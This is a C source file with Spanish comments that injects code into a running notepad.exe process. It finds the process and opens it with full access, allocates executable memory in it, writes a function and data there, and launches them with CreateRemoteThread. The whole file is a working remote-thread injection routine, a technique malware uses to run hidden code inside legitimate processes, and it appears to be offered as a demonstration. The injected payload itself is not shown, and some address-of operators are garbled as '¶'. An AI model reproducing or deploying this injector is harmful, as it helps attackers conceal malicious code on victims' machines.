/**
* Función principal que busca el proceso notepad.exe e inyecta nuestra función junto con los
* datos de la estructura creando un hilo.
*/
#include <windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>
#include "funcionInyectar.h"
//Nombre del proceso a buscar e inyectar.
#define PROCESO_INYECTAR "notepad.exe"
//Tamaño de nuestra función+datos, es una estimación aproximada.
#define TAM_THREAD 2048
int main(){
DWORD pID = 0;
HANDLE hProcess, hSnap;
void *pRemoteThread;
_paramInyectar paramInyectar, *PparamInyectar;
//Inicializamos datos de la estructara a injectar
preparaInyeccion(¶mInyectar);
//Es una estructura que almacena datos referentes a un proceso
PROCESSENTRY32 pe32 = {0};
//Obtenemos una instantánea de todos los procesos del sistema
if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) return -1;
pe32.dwSize = sizeof(PROCESSENTRY32);
//Obtenemos información sobre el primer proceso
Process32First(hSnap, &pe32);
//Vamos recorrmiendo todos los procesos hasta dar con el nuestro "notepad.exe"
do{
//Comparamos si el nombre del proceso actual es igual al buscado, no tiene en cuenta mayúsculas ni minúsculas
if(StrCmpNI(PROCESO_INYECTAR, pe32.szExeFile, strlen(PROCESO_INYECTAR)) == 0){
//Obtenemos el identificador de proeceso (pid) del proceso notepad.exe
pID = pe32.th32ProcessID;
//Forzamos salida, nada más que hacer
break;
}
//Pasamos al siguiente proceso mientras sigan existiendo.
}while(Process32Next(hSnap, &pe32));
//Cerramos manejador de la instantánea si es correcto
if(hSnap != INVALID_HANDLE_VALUE)
CloseHandle(hSnap);
//Abrimos el proceso "notepad.exe" con acceso total
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
//Reservamos memoria(TAM_THREAD) en el espacio del proceso abierto para leer, escribir y ejecutar nuestra función inyectada.
pRemoteThread = VirtualAllocEx(hProcess, 0, TAM_THREAD, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
//Escribimos la función a inyectar en el espacio recién reservado con el tamaño(TAM_THREAD) especificado.
WriteProcessMemory(hProcess, pRemoteThread, funcionInyectada, TAM_THREAD, 0);
//Reservamos memoria(tamaño de la estructura) en el espacio del proceso abierto para leer y escribir los datos de la estructura a inyectar.
PparamInyectar = (_paramInyectar*)VirtualAllocEx(hProcess , 0, sizeof(_paramInyectar), MEM_COMMIT, PAGE_READWRITE);
//Escribimos los datos de la estructura a inyectar en el espacio recién reservado con el tamaño de la estructura
WriteProcessMemory(hProcess, PparamInyectar, ¶mInyectar, sizeof paramInyectar, 0);
//Creamos hilo para nuestra función en el proceso padre notepad.exe pasándole como parámetros al hilo nuestra estructura con los datos
CreateRemoteThread(hProcess , 0, 0, (DWORD (__stdcall *)(void *))pRemoteThread, PparamInyectar, 0, NULL);
//Cerramos manejador del proceso "notepad.exe"
CloseHandle(hProcess);
return 0;
}